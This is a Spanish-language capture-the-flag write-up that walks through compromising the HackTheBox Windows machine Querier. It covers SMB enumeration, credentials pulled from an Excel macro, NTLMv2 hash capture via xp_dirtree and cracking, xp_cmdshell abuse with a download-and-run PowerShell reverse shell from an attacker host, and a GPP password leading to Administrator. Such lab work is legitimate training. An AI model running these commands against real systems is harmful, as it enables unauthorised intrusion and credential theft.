Querier HTB - WriteUp

En el día de hoy estaremos resolviendo la máquina Querier de HackTheBox. Es una Máquina Windows.

Enumeración Inicial.

Lo primero que haremos será escanear los puertos de la máquina es busca de servicios expuestos.

# Nmap 7.92 scan initiated Thu Feb 23 09:48:52 2023 as: nmap -sC -sV -Pn -oN Extraction -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 10.10.10.125
Nmap scan report for 10.10.10.125
Host is up (0.11s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-02-23T08:47:57
|_Not valid after:  2053-02-23T08:47:57
|_ssl-date: 2023-02-23T08:49:57+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-02-23T08:49:53
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 23 09:49:57 2023 -- 1 IP address (1 host up) scanned in 65.13 seconds

Vemos que tiene varios puertos abiertos, entre ellos podemos encontrar el SMB, el MSSQL y el RPC.

El nombre del dominio lo he extraido con CrackMapExec y lo he metido en el /etc/hosts:

crackmapexec smb 10.10.10.125                 
SMB         10.10.10.125    445    QUERIER          [*] Windows 10.0 Build 17763 x64 (name:QUERIER) (domain:HTB.LOCAL) (signing:False) (SMBv1:False)

El servicio de RPC no acepta sesiones nulas.

rpcclient 10.10.10.125 -U '' -N
rpcclient $> enumdomusers 
Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> 

Si enumeramos las carpetas compartidas por SMB podemos ver que hay varias:

smbclient -L '\\10.10.10.125\' -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk      
SMB1 disabled -- no workgroup available

Nuestro usuario tienen unicamente acceso a Reports. Dentro de reports hay un archivo de Excel que podemos descargarnos.

smbclient '\\10.10.10.125\Reports' -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Jan 29 00:23:48 2019
  ..                                  D        0  Tue Jan 29 00:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 23:21:34 2019

                5158399 blocks of size 4096. 827049 blocks available
smb: \> get Currency Volume Report.xlsm
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Currency
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (23,7 KiloBytes/sec) (average 23,7 KiloBytes/sec)
smb: \> 

Si abrimos el archivo nos salta el siguiente mensaje.

Al tener macros lo cerre por si las moscas y me dispuse a analizarlo con olevba.

Olevba es una herramienta que incorpora python-oletools, en este caso olveba nos va a permitir extraer las macros del archivo .xlsm y ver su contenido

python3 olevba.py --decode /root/HTB/Querier/content/Currency\ Volume\ Report.xlsm                           
olevba 0.60.2dev1 on Python 3.9.2 - http://decalage.info/python/oletools                                                                                                                   
===============================================================================                                                                                                            
FILE: /root/HTB/Querier/content/Currency Volume Report.xlsm                                                                                                                                
Type: OpenXML                                                                                                                                                                              
WARNING  For now, VBA stomping cannot be detected for files in memory                                                                                                                      
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

' macro to pull data for client volume reports 
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
  
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub

Podemos resaltar un usuario y una contraseña:

  • reporting:PcwTWTHRwryjc$c6

Explotación MSSQL.

Si nos intentamos conectar a esa base de datos a traves de mssclient.py vemos que tenemos acceso.

mssqlclient.py  -p 1433 -db volume 'reporting:PcwTWTHRwryjc$c6@10.10.10.125' -dc-ip 10.10.10.125 -windows-auth 
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> 

No tenemos permisos para activar las opciones avanzadas para activar la funcion xp_cmdshell y ejecutar comandos a nivel del sistema. La base de datos no tiene nada interesante. LLegados a este punto comprobé si las credenciales eran validas a nivel de SMB. No lo eran, asi que probe a ver si puedo extraer el hash NTLMv2 a traves de la función xp_dirtree

SQL xp_dirtree '\\10.10.16.4\compartido\'

Si miramos nuestro servidor de SMB podemos ver que se ha autenticado y vemos el hash NTLMv2

smbserver.py ./ "compartido" -smb2support                                                                                             [14/14]
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation                                                                                                                                   
                                                                                                                                                                                           
[*] Config file parsed                                                                                                                                                                     
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0                                                                                                                     
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0                                                                                                                     
[*] Config file parsed                                                                                                                                                                     
[*] Config file parsed                                                                                                                                                                     
[*] Config file parsed                                                                                                                                                                     
[*] Incoming connection (10.10.10.125,49675)                                                                                                                                               
[*] AUTHENTICATE_MESSAGE (QUERIER\mssql-svc,QUERIER)                                                                                                                                       
[*] User QUERIER\mssql-svc authenticated successfully                                                                                                                                      
[*] mssql-svc::QUERIER:4141414141414141:1ba7275a7eeffad66f177c7cb4c08be7:010100000000000000ecede06847d901eef23db4414ea4bf000000000100100048007300420047004f006e0051005200030010004800730042
0047004f006e005100520002001000660048004b007800500051005400620004001000660048004b00780050005100540062000700080000ecede06847d90106000400020000000800300030000000000000000000000000300000dddda
93f03c3ca3d8d094646dcbe3b41f914eae0e75cd2f7a92d2c257489c20a0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003400000000000000000000000000

El hash pertenece al usuario “mssql-svc”. Voy a probar romperlo con la herramienta john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)
1g 0:00:00:03 DONE (2023-02-23 10:40) 0.3194g/s 2863Kp/s 2863Kc/s 2863KC/s correg..coreyo05
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Ya tenemos la contraseña para el usuario mssql-svc

  • mssql-svc:corporate568

La contraseña no es valida a nivel de SMB pero si nos sirve para conectarnos a MSSQL.

mssqlclient.py  -p 1433 'mssql-svc:corporate568@10.10.10.125' -dc-ip 10.10.10.125 -windows-auth
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL>

Este usuario si pude activar la función xp_cmdshell.

SQL: sp_configure 'show advanced options', '1'
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL: RECONFIGURE 
SQL: sp_configure 'xp_cmdshell', '1'
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL: RECONFIGURE

Ahora podemos ejecutar comandos a nivel de sistema:

SQL: EXEC xp_cmdshell 'whoami'
output                                                                                                                                                                                                                                                            
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
querier\mssql-svc

Vamos a tratar de establecernos una revshell. Para ello tirare del script “Invoke-PowerShellTcp.ps1”

EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.4/Invoke-PowerShellTcp.ps1") | powershell -noprofile'

Si miramos nuestro servidor de python y nuestro listener veremos que se ha realizado la petición y tenemos nuestra revshell.

Servidor con python:

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.125 - - [23/Feb/2023 10:54:40] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

Listener de netcat:

nc -lvnp 443                 
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.125] 49679
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>

Privesc.

Para la escalada de privilegios voy a usar el script PowerUp.ps1 para enumerar la máquina. Lo primero será descargar el script

PS C:\Users\mssql-svc\Desktop: iwr -outf PowerUp.ps1 http://10.10.16.4/PowerUp.ps1

Importamos el script:

PS C:\Users\mssql-svc\Desktop: Import-Module .\PowerUp.ps1

Si lo ejecutamos para que haga todas las comprobaciones nos reporta lo siguiente.

PS C:\Users\mssql-svc\Desktop: Invoke-AllChecks

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group 
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files

Ha encontrado un archivo Groups.xml que contiene la contraseña del usuario Administrador. El contenido del archivo es el siguiente:

?xml version="1.0" encoding="UTF-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
	<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
		<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties>
	</User>
</Groups>

Como hicimos en una máquina anterior, el cpassword se puede descifrar porque las clave se publico. En este caso PowerUp lo hace automaticamente.

Podemos comprobar si la contraseña es valida a traves de CrackMapExec. Podriamos ganar acceso a traves de evil-winrm

crackmapexec winrm 10.10.10.125 -u 'Administrator' -p 'MyUnclesAreMarioAndLuigi!!1!'
WINRM       10.10.10.125    5985   QUERIER          [*] Windows 10.0 Build 17763 (name:QUERIER) (domain:HTB.LOCAL)
WINRM       10.10.10.125    5985   QUERIER          [*] http://10.10.10.125:5985/wsman
WINRM       10.10.10.125    5985   QUERIER          [+] HTB.LOCAL\Administrator:MyUnclesAreMarioAndLuigi!!1! (Pwn3d!)

¡Ya hemos pwneado la máquina!